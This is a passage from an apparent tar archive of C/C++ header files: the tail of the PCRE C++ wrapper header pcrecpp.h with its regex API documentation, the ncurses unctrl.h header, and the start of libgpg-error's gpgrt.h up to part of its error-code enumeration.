valid number): // int number; // pcrecpp::RE::FullMatch("abc", "[a-z]+(\\d+)?", &number); // // ----------------------------------------------------------------------- // DO_MATCH // // The matching interface supports at most 16 arguments per call. // If you need more, consider using the more general interface // pcrecpp::RE::DoMatch(). See pcrecpp.h for the signature for DoMatch. // // ----------------------------------------------------------------------- // PARTIAL MATCHES // // You can use the "PartialMatch" operation when you want the pattern // to match any substring of the text. // // Example: simple search for a string: // pcrecpp::RE("ell").PartialMatch("hello"); // // Example: find first number in a string: // int number; // pcrecpp::RE re("(\\d+)"); // re.PartialMatch("x*100 + 20", &number); // assert(number == 100); // // ----------------------------------------------------------------------- // UTF-8 AND THE MATCHING INTERFACE: // // By default, pattern and text are plain text, one byte per character. // The UTF8 flag, passed to the constructor, causes both pattern // and string to be treated as UTF-8 text, still a byte stream but // potentially multiple bytes per character. In practice, the text // is likelier to be UTF-8 than the pattern, but the match returned // may depend on the UTF8 flag, so always use it when matching // UTF8 text. E.g., "." will match one byte normally but with UTF8 // set may match up to three bytes of a multi-byte character. // // Example: // pcrecpp::RE_Options options; // options.set_utf8(); // pcrecpp::RE re(utf8_pattern, options); // re.FullMatch(utf8_string); // // Example: using the convenience function UTF8(): // pcrecpp::RE re(utf8_pattern, pcrecpp::UTF8()); // re.FullMatch(utf8_string); // // NOTE: The UTF8 option is ignored if pcre was not configured with the // --enable-utf8 flag. // // ----------------------------------------------------------------------- // PASSING MODIFIERS TO THE REGULAR EXPRESSION ENGINE // // PCRE defines some modifiers to change the behavior of the regular // expression engine. // The C++ wrapper defines an auxiliary class, RE_Options, as a vehicle // to pass such modifiers to a RE class. // // Currently, the following modifiers are supported // // modifier description Perl corresponding // // PCRE_CASELESS case insensitive match /i // PCRE_MULTILINE multiple lines match /m // PCRE_DOTALL dot matches newlines /s // PCRE_DOLLAR_ENDONLY $ matches only at end N/A // PCRE_EXTRA strict escape parsing N/A // PCRE_EXTENDED ignore whitespaces /x // PCRE_UTF8 handles UTF8 chars built-in // PCRE_UNGREEDY reverses * and *? N/A // PCRE_NO_AUTO_CAPTURE disables matching parens N/A (*) // // (For a full account on how each modifier works, please check the // PCRE API reference manual). // // (*) Both Perl and PCRE allow non matching parentheses by means of the // "?:" modifier within the pattern itself. e.g. (?:ab|cd) does not // capture, while (ab|cd) does. // // For each modifier, there are two member functions whose name is made // out of the modifier in lowercase, without the "PCRE_" prefix. For // instance, PCRE_CASELESS is handled by // bool caseless(), // which returns true if the modifier is set, and // RE_Options & set_caseless(bool), // which sets or unsets the modifier. // // Moreover, PCRE_EXTRA_MATCH_LIMIT can be accessed through the // set_match_limit() and match_limit() member functions. // Setting match_limit to a non-zero value will limit the executation of // pcre to keep it from doing bad things like blowing the stack or taking // an eternity to return a result. A value of 5000 is good enough to stop // stack blowup in a 2MB thread stack. Setting match_limit to zero will // disable match limiting. Alternately, you can set match_limit_recursion() // which uses PCRE_EXTRA_MATCH_LIMIT_RECURSION to limit how much pcre // recurses. match_limit() caps the number of matches pcre does; // match_limit_recrusion() caps the depth of recursion. // // Normally, to pass one or more modifiers to a RE class, you declare // a RE_Options object, set the appropriate options, and pass this // object to a RE constructor. Example: // // RE_options opt; // opt.set_caseless(true); // // if (RE("HELLO", opt).PartialMatch("hello world")) ... // // RE_options has two constructors. The default constructor takes no // arguments and creates a set of flags that are off by default. // // The optional parameter 'option_flags' is to facilitate transfer // of legacy code from C programs. This lets you do // RE(pattern, RE_Options(PCRE_CASELESS|PCRE_MULTILINE)).PartialMatch(str); // // But new code is better off doing // RE(pattern, // RE_Options().set_caseless(true).set_multiline(true)).PartialMatch(str); // (See below) // // If you are going to pass one of the most used modifiers, there are some // convenience functions that return a RE_Options class with the // appropriate modifier already set: // CASELESS(), UTF8(), MULTILINE(), DOTALL(), EXTENDED() // // If you need to set several options at once, and you don't want to go // through the pains of declaring a RE_Options object and setting several // options, there is a parallel method that give you such ability on the // fly. You can concatenate several set_xxxxx member functions, since each // of them returns a reference to its class object. e.g.: to pass // PCRE_CASELESS, PCRE_EXTENDED, and PCRE_MULTILINE to a RE with one // statement, you may write // // RE(" ^ xyz \\s+ .* blah$", RE_Options() // .set_caseless(true) // .set_extended(true) // .set_multiline(true)).PartialMatch(sometext); // // ----------------------------------------------------------------------- // SCANNING TEXT INCREMENTALLY // // The "Consume" operation may be useful if you want to repeatedly // match regular expressions at the front of a string and skip over // them as they match. This requires use of the "StringPiece" type, // which represents a sub-range of a real string. Like RE, StringPiece // is defined in the pcrecpp namespace. // // Example: read lines of the form "var = value" from a string. // string contents = ...; // Fill string somehow // pcrecpp::StringPiece input(contents); // Wrap in a StringPiece // // string var; // int value; // pcrecpp::RE re("(\\w+) = (\\d+)\n"); // while (re.Consume(&input, &var, &value)) { // ...; // } // // Each successful call to "Consume" will set "var/value", and also // advance "input" so it points past the matched text. // // The "FindAndConsume" operation is similar to "Consume" but does not // anchor your match at the beginning of the string. For example, you // could extract all words from a string by repeatedly calling // pcrecpp::RE("(\\w+)").FindAndConsume(&input, &word) // // ----------------------------------------------------------------------- // PARSING HEX/OCTAL/C-RADIX NUMBERS // // By default, if you pass a pointer to a numeric value, the // corresponding text is interpreted as a base-10 number. You can // instead wrap the pointer with a call to one of the operators Hex(), // Octal(), or CRadix() to interpret the text in another base. The // CRadix operator interprets C-style "0" (base-8) and "0x" (base-16) // prefixes, but defaults to base-10. // // Example: // int a, b, c, d; // pcrecpp::RE re("(.*) (.*) (.*) (.*)"); // re.FullMatch("100 40 0100 0x40", // pcrecpp::Octal(&a), pcrecpp::Hex(&b), // pcrecpp::CRadix(&c), pcrecpp::CRadix(&d)); // will leave 64 in a, b, c, and d. // // ----------------------------------------------------------------------- // REPLACING PARTS OF STRINGS // // You can replace the first match of "pattern" in "str" with // "rewrite". Within "rewrite", backslash-escaped digits (\1 to \9) // can be used to insert text matching corresponding parenthesized // group from the pattern. \0 in "rewrite" refers to the entire // matching text. E.g., // // string s = "yabba dabba doo"; // pcrecpp::RE("b+").Replace("d", &s); // // will leave "s" containing "yada dabba doo". The result is true if // the pattern matches and a replacement occurs, or false otherwise. // // GlobalReplace() is like Replace(), except that it replaces all // occurrences of the pattern in the string with the rewrite. // Replacements are not subject to re-matching. E.g., // // string s = "yabba dabba doo"; // pcrecpp::RE("b+").GlobalReplace("d", &s); // // will leave "s" containing "yada dada doo". It returns the number // of replacements made. // // Extract() is like Replace(), except that if the pattern matches, // "rewrite" is copied into "out" (an additional argument) with // substitutions. The non-matching portions of "text" are ignored. // Returns true iff a match occurred and the extraction happened // successfully. If no match occurs, the string is left unaffected. #include <string> #include <pcre.h> #include <pcrecpparg.h> // defines the Arg class // This isn't technically needed here, but we include it // anyway so folks who include pcrecpp.h don't have to. #include <pcre_stringpiece.h> namespace pcrecpp { #define PCRE_SET_OR_CLEAR(b, o) \ if (b) all_options_ |= (o); else all_options_ &= ~(o); \ return *this #define PCRE_IS_SET(o) \ (all_options_ & o) == o /***** Compiling regular expressions: the RE class *****/ // RE_Options allow you to set options to be passed along to pcre, // along with other options we put on top of pcre. // Only 9 modifiers, plus match_limit and match_limit_recursion, // are supported now. class PCRECPP_EXP_DEFN RE_Options { public: // constructor RE_Options() : match_limit_(0), match_limit_recursion_(0), all_options_(0) {} // alternative constructor. // To facilitate transfer of legacy code from C programs // // This lets you do // RE(pattern, RE_Options(PCRE_CASELESS|PCRE_MULTILINE)).PartialMatch(str); // But new code is better off doing // RE(pattern, // RE_Options().set_caseless(true).set_multiline(true)).PartialMatch(str); RE_Options(int option_flags) : match_limit_(0), match_limit_recursion_(0), all_options_(option_flags) {} // we're fine with the default destructor, copy constructor, etc. // accessors and mutators int match_limit() const { return match_limit_; }; RE_Options &set_match_limit(int limit) { match_limit_ = limit; return *this; } int match_limit_recursion() const { return match_limit_recursion_; }; RE_Options &set_match_limit_recursion(int limit) { match_limit_recursion_ = limit; return *this; } bool caseless() const { return PCRE_IS_SET(PCRE_CASELESS); } RE_Options &set_caseless(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_CASELESS); } bool multiline() const { return PCRE_IS_SET(PCRE_MULTILINE); } RE_Options &set_multiline(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_MULTILINE); } bool dotall() const { return PCRE_IS_SET(PCRE_DOTALL); } RE_Options &set_dotall(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_DOTALL); } bool extended() const { return PCRE_IS_SET(PCRE_EXTENDED); } RE_Options &set_extended(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_EXTENDED); } bool dollar_endonly() const { return PCRE_IS_SET(PCRE_DOLLAR_ENDONLY); } RE_Options &set_dollar_endonly(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_DOLLAR_ENDONLY); } bool extra() const { return PCRE_IS_SET(PCRE_EXTRA); } RE_Options &set_extra(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_EXTRA); } bool ungreedy() const { return PCRE_IS_SET(PCRE_UNGREEDY); } RE_Options &set_ungreedy(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_UNGREEDY); } bool utf8() const { return PCRE_IS_SET(PCRE_UTF8); } RE_Options &set_utf8(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_UTF8); } bool no_auto_capture() const { return PCRE_IS_SET(PCRE_NO_AUTO_CAPTURE); } RE_Options &set_no_auto_capture(bool x) { PCRE_SET_OR_CLEAR(x, PCRE_NO_AUTO_CAPTURE); } RE_Options &set_all_options(int opt) { all_options_ = opt; return *this; } int all_options() const { return all_options_ ; } // TODO: add other pcre flags private: int match_limit_; int match_limit_recursion_; int all_options_; }; // These functions return some common RE_Options static inline RE_Options UTF8() { return RE_Options().set_utf8(true); } static inline RE_Options CASELESS() { return RE_Options().set_caseless(true); } static inline RE_Options MULTILINE() { return RE_Options().set_multiline(true); } static inline RE_Options DOTALL() { return RE_Options().set_dotall(true); } static inline RE_Options EXTENDED() { return RE_Options().set_extended(true); } // Interface for regular expression matching. Also corresponds to a // pre-compiled regular expression. An "RE" object is safe for // concurrent use by multiple threads. class PCRECPP_EXP_DEFN RE { public: // We provide implicit conversions from strings so that users can // pass in a string or a "const char*" wherever an "RE" is expected. RE(const string& pat) { Init(pat, NULL); } RE(const string& pat, const RE_Options& option) { Init(pat, &option); } RE(const char* pat) { Init(pat, NULL); } RE(const char* pat, const RE_Options& option) { Init(pat, &option); } RE(const unsigned char* pat) { Init(reinterpret_cast<const char*>(pat), NULL); } RE(const unsigned char* pat, const RE_Options& option) { Init(reinterpret_cast<const char*>(pat), &option); } // Copy constructor & assignment - note that these are expensive // because they recompile the expression. RE(const RE& re) { Init(re.pattern_, &re.options_); } const RE& operator=(const RE& re) { if (this != &re) { Cleanup(); // This is the code that originally came from Google // Init(re.pattern_.c_str(), &re.options_); // This is the replacement from Ari Pollak Init(re.pattern_, &re.options_); } return *this; } ~RE(); // The string specification for this RE. E.g. // RE re("ab*c?d+"); // re.pattern(); // "ab*c?d+" const string& pattern() const { return pattern_; } // If RE could not be created properly, returns an error string. // Else returns the empty string. const string& error() const { return *error_; } /***** The useful part: the matching interface *****/ // This is provided so one can do pattern.ReplaceAll() just as // easily as ReplaceAll(pattern-text, ....) bool FullMatch(const StringPiece& text, const Arg& ptr1 = no_arg, const Arg& ptr2 = no_arg, const Arg& ptr3 = no_arg, const Arg& ptr4 = no_arg, const Arg& ptr5 = no_arg, const Arg& ptr6 = no_arg, const Arg& ptr7 = no_arg, const Arg& ptr8 = no_arg, const Arg& ptr9 = no_arg, const Arg& ptr10 = no_arg, const Arg& ptr11 = no_arg, const Arg& ptr12 = no_arg, const Arg& ptr13 = no_arg, const Arg& ptr14 = no_arg, const Arg& ptr15 = no_arg, const Arg& ptr16 = no_arg) const; bool PartialMatch(const StringPiece& text, const Arg& ptr1 = no_arg, const Arg& ptr2 = no_arg, const Arg& ptr3 = no_arg, const Arg& ptr4 = no_arg, const Arg& ptr5 = no_arg, const Arg& ptr6 = no_arg, const Arg& ptr7 = no_arg, const Arg& ptr8 = no_arg, const Arg& ptr9 = no_arg, const Arg& ptr10 = no_arg, const Arg& ptr11 = no_arg, const Arg& ptr12 = no_arg, const Arg& ptr13 = no_arg, const Arg& ptr14 = no_arg, const Arg& ptr15 = no_arg, const Arg& ptr16 = no_arg) const; bool Consume(StringPiece* input, const Arg& ptr1 = no_arg, const Arg& ptr2 = no_arg, const Arg& ptr3 = no_arg, const Arg& ptr4 = no_arg, const Arg& ptr5 = no_arg, const Arg& ptr6 = no_arg, const Arg& ptr7 = no_arg, const Arg& ptr8 = no_arg, const Arg& ptr9 = no_arg, const Arg& ptr10 = no_arg, const Arg& ptr11 = no_arg, const Arg& ptr12 = no_arg, const Arg& ptr13 = no_arg, const Arg& ptr14 = no_arg, const Arg& ptr15 = no_arg, const Arg& ptr16 = no_arg) const; bool FindAndConsume(StringPiece* input, const Arg& ptr1 = no_arg, const Arg& ptr2 = no_arg, const Arg& ptr3 = no_arg, const Arg& ptr4 = no_arg, const Arg& ptr5 = no_arg, const Arg& ptr6 = no_arg, const Arg& ptr7 = no_arg, const Arg& ptr8 = no_arg, const Arg& ptr9 = no_arg, const Arg& ptr10 = no_arg, const Arg& ptr11 = no_arg, const Arg& ptr12 = no_arg, const Arg& ptr13 = no_arg, const Arg& ptr14 = no_arg, const Arg& ptr15 = no_arg, const Arg& ptr16 = no_arg) const; bool Replace(const StringPiece& rewrite, string *str) const; int GlobalReplace(const StringPiece& rewrite, string *str) const; bool Extract(const StringPiece &rewrite, const StringPiece &text, string *out) const; // Escapes all potentially meaningful regexp characters in // 'unquoted'. The returned string, used as a regular expression, // will exactly match the original string. For example, // 1.5-2.0? // may become: // 1\.5\-2\.0\? // Note QuoteMeta behaves the same as perl's QuoteMeta function, // *except* that it escapes the NUL character (\0) as backslash + 0, // rather than backslash + NUL. static string QuoteMeta(const StringPiece& unquoted); /***** Generic matching interface *****/ // Type of match (TODO: Should be restructured as part of RE_Options) enum Anchor { UNANCHORED, // No anchoring ANCHOR_START, // Anchor at start only ANCHOR_BOTH // Anchor at start and end }; // General matching routine. Stores the length of the match in // "*consumed" if successful. bool DoMatch(const StringPiece& text, Anchor anchor, int* consumed, const Arg* const* args, int n) const; // Return the number of capturing subpatterns, or -1 if the // regexp wasn't valid on construction. int NumberOfCapturingGroups() const; // The default value for an argument, to indicate the end of the argument // list. This must be used only in optional argument defaults. It should NOT // be passed explicitly. Some people have tried to use it like this: // // FullMatch(x, y, &z, no_arg, &w); // // This is a mistake, and will not work. static Arg no_arg; private: void Init(const string& pattern, const RE_Options* options); void Cleanup(); // Match against "text", filling in "vec" (up to "vecsize" * 2/3) with // pairs of integers for the beginning and end positions of matched // text. The first pair corresponds to the entire matched text; // subsequent pairs correspond, in order, to parentheses-captured // matches. Returns the number of pairs (one more than the number of // the last subpattern with a match) if matching was successful // and zero if the match failed. // I.e. for RE("(foo)|(bar)|(baz)") it will return 2, 3, and 4 when matching // against "foo", "bar", and "baz" respectively. // When matching RE("(foo)|hello") against "hello", it will return 1. // But the values for all subpattern are filled in into "vec". int TryMatch(const StringPiece& text, int startpos, Anchor anchor, bool empty_ok, int *vec, int vecsize) const; // Append the "rewrite" string, with backslash subsitutions from "text" // and "vec", to string "out". bool Rewrite(string *out, const StringPiece& rewrite, const StringPiece& text, int *vec, int veclen) const; // internal implementation for DoMatch bool DoMatchImpl(const StringPiece& text, Anchor anchor, int* consumed, const Arg* const args[], int n, int* vec, int vecsize) const; // Compile the regexp for the specified anchoring mode pcre* Compile(Anchor anchor); string pattern_; RE_Options options_; pcre* re_full_; // For full matches pcre* re_partial_; // For partial matches const string* error_; // Error indicator (or points to empty string) }; } // namespace pcrecpp #endif /* _PCRECPP_H */ unctrl.h 0000644 00000006033 15246445046 0006240 0 ustar 00 /**************************************************************************** * Copyright (c) 1998-2008,2009 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Zeyd M. Ben-Halim <zmbenhal@netcom.com> 1992,1995 * * and: Eric S. Raymond <esr@snark.thyrsus.com> * ****************************************************************************/ /* * unctrl.h * * Display a printable version of a control character. * Control characters are displayed in caret notation (^x), DELETE is displayed * as ^?. Printable characters are displayed as is. */ /* $Id: unctrl.h.in,v 1.11 2009/04/18 21:00:52 tom Exp $ */ #ifndef NCURSES_UNCTRL_H_incl #define NCURSES_UNCTRL_H_incl 1 #undef NCURSES_VERSION #define NCURSES_VERSION "6.1" #ifdef __cplusplus extern "C" { #endif #include <curses.h> #undef unctrl NCURSES_EXPORT(NCURSES_CONST char *) unctrl (chtype); #if 1 NCURSES_EXPORT(NCURSES_CONST char *) NCURSES_SP_NAME(unctrl) (SCREEN*, chtype); #endif #ifdef __cplusplus } #endif #endif /* NCURSES_UNCTRL_H_incl */ gpgrt.h 0000644 00000204447 15246445046 0006065 0 ustar 00 /* gpg-error.h or gpgrt.h - Common code for GnuPG and others. -*- c -*- * Copyright (C) 2001-2018 g10 Code GmbH * * This file is part of libgpg-error (aka libgpgrt). * * libgpg-error is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * libgpg-error is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, see <https://www.gnu.org/licenses/>. * SPDX-License-Identifier: LGPL-2.1+ * * Do not edit. Generated from gpg-error.h.in. */ /* The GnuPG project consists of many components. Error codes are * exchanged between all components. The common error codes and their * user-presentable descriptions are kept into a shared library to * allow adding new error codes and components without recompiling any * of the other components. In addition to error codes this library * also features several other groups of functions which are common to * all GnuPG components. They may be used by independet project as * well. The interfaces will not change in a backward incompatible way. * * An error code together with an error source build up an error * value. As the error value is been passed from one component to * another, it preserves the information about the source and nature * of the error. * * A component of the GnuPG project can define the following macros to * tune the behaviour of the library: * * GPG_ERR_SOURCE_DEFAULT: Define to an error source of type * gpg_err_source_t to make that source the default for gpg_error(). * Otherwise GPG_ERR_SOURCE_UNKNOWN is used as default. * * GPG_ERR_ENABLE_GETTEXT_MACROS: Define to provide macros to map the * internal gettext API to standard names. This has only an effect on * Windows platforms. * * GPGRT_ENABLE_ES_MACROS: Define to provide "es_" macros for the * estream functions. * * GPGRT_ENABLE_LOG_MACROS: Define to provide short versions of the * log functions. * * GPGRT_ENABLE_ARGPARSE_MACROS: Needs to be defined to provide the * mandatory macros of the argparse interface. */ #ifndef GPG_ERROR_H #define GPG_ERROR_H 1 #ifndef GPGRT_H #define GPGRT_H 1 #include <stddef.h> #include <stdio.h> #include <stdarg.h> /* The version string of this header. */ #define GPG_ERROR_VERSION "1.31" #define GPGRT_VERSION "1.31" /* The version number of this header. */ #define GPG_ERROR_VERSION_NUMBER 0x011f00 #define GPGRT_VERSION_NUMBER 0x011f00 #ifdef __GNUC__ # define GPG_ERR_INLINE __inline__ #elif defined(_MSC_VER) && _MSC_VER >= 1300 # define GPG_ERR_INLINE __inline #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L # define GPG_ERR_INLINE inline #else # ifndef GPG_ERR_INLINE # define GPG_ERR_INLINE # endif #endif #ifdef __cplusplus extern "C" { #if 0 /* just to make Emacs auto-indent happy */ } #endif #endif /* __cplusplus */ /* The error source type gpg_err_source_t. * * Where as the Poo out of a welle small * Taketh his firste springing and his sours. * --Chaucer. */ /* Only use free slots, never change or reorder the existing * entries. */ typedef enum { GPG_ERR_SOURCE_UNKNOWN = 0, GPG_ERR_SOURCE_GCRYPT = 1, GPG_ERR_SOURCE_GPG = 2, GPG_ERR_SOURCE_GPGSM = 3, GPG_ERR_SOURCE_GPGAGENT = 4, GPG_ERR_SOURCE_PINENTRY = 5, GPG_ERR_SOURCE_SCD = 6, GPG_ERR_SOURCE_GPGME = 7, GPG_ERR_SOURCE_KEYBOX = 8, GPG_ERR_SOURCE_KSBA = 9, GPG_ERR_SOURCE_DIRMNGR = 10, GPG_ERR_SOURCE_GSTI = 11, GPG_ERR_SOURCE_GPA = 12, GPG_ERR_SOURCE_KLEO = 13, GPG_ERR_SOURCE_G13 = 14, GPG_ERR_SOURCE_ASSUAN = 15, GPG_ERR_SOURCE_TLS = 17, GPG_ERR_SOURCE_ANY = 31, GPG_ERR_SOURCE_USER_1 = 32, GPG_ERR_SOURCE_USER_2 = 33, GPG_ERR_SOURCE_USER_3 = 34, GPG_ERR_SOURCE_USER_4 = 35, /* This is one more than the largest allowed entry. */ GPG_ERR_SOURCE_DIM = 128 } gpg_err_source_t; /* The error code type gpg_err_code_t. */ /* Only use free slots, never change or reorder the existing * entries. */ typedef enum { GPG_ERR_NO_ERROR = 0, GPG_ERR_GENERAL = 1, GPG_ERR_UNKNOWN_PACKET = 2, GPG_ERR_UNKNOWN_VERSION = 3, GPG_ERR_PUBKEY_ALGO = 4, GPG_ERR_DIGEST_ALGO = 5, GPG_ERR_BAD_PUBKEY = 6, GPG_ERR_BAD_SECKEY = 7, GPG_ERR_BAD_SIGNATURE = 8, GPG_ERR_NO_PUBKEY = 9, GPG_ERR_CHECKSUM = 10, GPG_ERR_BAD_PASSPHRASE = 11, GPG_ERR_CIPHER_ALGO = 12, GPG_ERR_KEYRING_OPEN = 13, GPG_ERR_INV_PACKET = 14, GPG_ERR_INV_ARMOR = 15, GPG_ERR_NO_USER_ID = 16, GPG_ERR_NO_SECKEY = 17, GPG_ERR_WRONG_SECKEY = 18, GPG_ERR_BAD_KEY = 19, GPG_ERR_COMPR_ALGO = 20, GPG_ERR_NO_PRIME = 21, GPG_ERR_NO_ENCODING_METHOD = 22, GPG_ERR_NO_ENCRYPTION_SCHEME = 23, GPG_ERR_NO_SIGNATURE_SCHEME = 24, GPG_ERR_INV_ATTR = 25, GPG_ERR_NO_VALUE = 26, GPG_ERR_NOT_FOUND = 27, GPG_ERR_VALUE_NOT_FOUND = 28, GPG_ERR_SYNTAX = 29, GPG_ERR_BAD_MPI = 30, GPG_ERR_INV_PASSPHRASE = 31, GPG_ERR_SIG_CLASS = 32, GPG_ERR_RESOURCE_LIMIT = 33, GPG_ERR_INV_KEYRING = 34, GPG_ERR_TRUSTDB = 35, GPG_ERR_BAD_CERT = 36, GPG_ERR_INV_USER_ID = 37, GPG_ERR_UNEXPECTED = 38, GPG_ERR_TIME_CONFLICT = 39, GPG_ERR_KEYSERVER = 40, GPG_ERR_WRONG_PUBKEY_ALGO = 41, GPG_ERR_TRIBUTE_TO_D_A = 42, GPG_ERR_WEAK_KEY = 43, GPG_ERR_INV_KEYLEN = 44, GPG_ERR_INV_ARG = 45, GPG_ERR_BAD_URI = 46, GPG_ERR_INV_URI = 47, GPG_ERR_NETWORK = 48, GPG_ERR_UNKNOWN_HOST = 49, GPG_ERR_SELFTEST_FAILED = 50, GPG_ERR_NOT_ENCRYPTED = 51, GPG_ERR_NOT_PROCESSED = 52, GPG_ERR_UNUSABLE_PUBKEY = 53, GPG_ERR_UNUSABLE_SECKEY = 54, GPG_ERR_INV_VALUE = 55, GPG_ERR_BAD_CERT_CHAIN = 56, GPG_ERR_MISSING_CERT = 57, GPG_ERR_NO_DATA = 58, GPG_ERR_BUG = 59, GPG_ERR_NOT_SUPPORTED = 60, GPG_ERR_INV_OP = 61, GPG_ERR_TIMEOUT = 62, GPG_ERR_INTERNAL = 63, GPG_ERR_EOF_GCRYPT = 64, GPG_ERR_INV_OBJ = 65, GPG_ERR_TOO_SHORT = 66, GPG_ERR_TOO_LARGE = 67, GPG_ERR_NO_OBJ = 68, GPG_ERR_NOT_IMPLEMENTED = 69, GPG_ERR_CONFLICT = 70, GPG_ERR_INV_CIPHER_MODE = 71, GPG_ERR_INV_FLAG = 72, GPG_ERR_INV_HANDLE = 73, GPG_ERR_TRUNCATED = 74, GPG_ERR_INCOMPLETE_LINE = 75, GPG_ERR_INV_RESPONSE = 76, GPG_ERR_NO_AGENT = 77, GPG_ERR_AGENT = 78, GPG_ERR_INV_DATA = 79, GPG_ERR_ASSUAN_SERVER_FAULT = 80, GPG_ERR_ASSUAN = 81, GPG_ERR_INV_SESSION_KEY = 82, GPG_ERR_INV_SEXP = 83, GPG_ERR_UNSUPPORTED_ALGORITHM = 84, GPG_ERR_NO_PIN_ENTRY = 85, GPG_ERR_PIN_ENTRY = 86, GPG_ERR_BAD_PIN = 87, GPG_ERR_INV_NAME = 88, GPG_ERR_BAD_DATA = 89, GPG_ERR_INV_PARAMETER = 90, GPG_ERR_WRONG_CARD = 91, GPG_ERR_NO_DIRMNGR = 92, GPG_ERR_DIRMNGR = 93, GPG_ERR_CERT_REVOKED = 94, GPG_ERR_NO_CRL_KNOWN = 95, GPG_ERR_CRL_TOO_OLD = 96, GPG_ERR_LINE_TOO_LONG = 97, GPG_ERR_NOT_TRUSTED = 98, GPG_ERR_CANCELED = 99, GPG_ERR_BAD_CA_CERT = 100, GPG_ERR_CERT_EXPIRED = 101, GPG_ERR_CERT_TOO_YOUNG = 102, GPG_ERR_UNSUPPORTED_CERT = 103, GPG_ERR_UNKNOWN_SEXP = 104, GPG_ERR_UNSUPPORTED_PROTECTION = 105, GPG_ERR_CORRUPTED_PROTECTION = 106, GPG_ERR_AMBIGUOUS_NAME = 107, GPG_ERR_CARD = 108, GPG_ERR_CARD_RESET = 109, GPG_ERR_CARD_REMOVED = 110, GPG_ERR_INV_CARD = 111, GPG_ERR_CARD_NOT_PRESENT = 112, GPG_ERR_NO_PKCS15_APP = 113, GPG_ERR_NOT_CONFIRMED = 114, GPG_ERR_CONFIGURATION = 115, GPG_ERR_NO_POLICY_MATCH = 116, GPG_ERR_INV_INDEX = 117, GPG_ERR_INV_ID = 118, GPG_ERR_NO_SCDAEMON = 119, GPG_ERR_SCDAEMON = 120, GPG_ERR_UNSUPPORTED_PROTOCOL = 121, GPG_ERR_BAD_PIN_METHOD = 122, GPG_ERR_CARD_NOT_INITIALIZED = 123, GPG_ERR_UNSUPPORTED_OPERATION = 124, GPG_ERR_WRONG_KEY_USAGE = 125, GPG_ERR_NOTHING_FOUND = 126, GPG_ERR_WRONG_BLOB_TYPE = 127, GPG_ERR_MISSING_VALUE = 128, GPG_ERR_HARDWARE = 129, GPG_ERR_PIN_BLOCKED = 130, GPG_ERR_USE_CONDITIONS = 131, GPG_ERR_PIN_NOT_SYNCED = 132, GPG_ERR_INV_CRL = 133, GPG_ERR_BAD_BER = 134, GPG_ERR_INV_BER = 135, GPG_ERR_ELEMENT_NOT_FOUND = 136, GPG_ERR_IDENTIFIER_NOT_FOUND = 137, GPG_ERR_INV_TAG = 138, GPG_ERR_INV_LENGTH = 139, GPG_ERR_INV_KEYINFO = 140, GPG_ERR_UNEXPECTED_TAG = 141, GPG_ERR_NOT_DER_ENCODED = 142, GPG_ERR_NO_CMS_OBJ = 143, GPG_ERR_INV_CMS_OBJ = 144, GPG_ERR_UNKNOWN_CMS_OBJ = 145, GPG_ERR_UNSUPPORTED_CMS_OBJ = 146, GPG_ERR_UNSUPPORTED_ENCODING = 147, GPG_ERR_UNSUPPORTED_CMS_VERSION = 148, GPG_ERR_UNKNOWN_ALGORITHM = 149, GPG_ERR_INV_ENGINE = 150, GPG_ERR_PUBKEY_NOT_TRUSTED = 151, GPG_ERR_DECRYPT_FAILED = 152, GPG_ERR_KEY_EXPIRED = 153, GPG_ERR_SIG_EXPIRED = 154, GPG_ERR_ENCODING_PROBLEM = 155, GPG_ERR_INV_STATE = 156, GPG_ERR_DUP_VALUE = 157, GPG_ERR_MISSING_ACTION = 158, GPG_ERR_MODULE_NOT_FOUND = 159, GPG_ERR_INV_OID_STRING = 160, GPG_ERR_INV_TIME = 161, GPG_ERR_INV_CRL_OBJ = 162, GPG_ERR_UNSUPPORTED_CRL_VERSION = 163, GPG_ERR_INV_CERT_OBJ = 164, GPG_ERR_UNKNOWN_NAME = 165, GPG_ERR_LOCALE_PROBLEM = 166, GPG_ERR_NOT_LOCKED = 167, GPG_ERR_PROTOCOL_VIOLATION = 168, GPG_ERR_INV_MAC = 169, GPG_ERR_INV_REQUEST = 170, GPG_ERR_UNKNOWN_EXTN = 171, GPG_ERR_UNKNOWN_CRIT_EXTN = 172, GPG_ERR_LOCKED = 173, GPG_ERR_UNKNOWN_OPTION = 174, GPG_ERR_UNKNOWN_COMMAND = 175, GPG_ERR_NOT_OPERATIONAL = 176, GPG_ERR_NO_PASSPHRASE = 177, GPG_ERR_NO_PIN = 178, GPG_ERR_NOT_ENABLED = 179, GPG_ERR_NO_ENGINE = 180, GPG_ERR_MISSING_KEY = 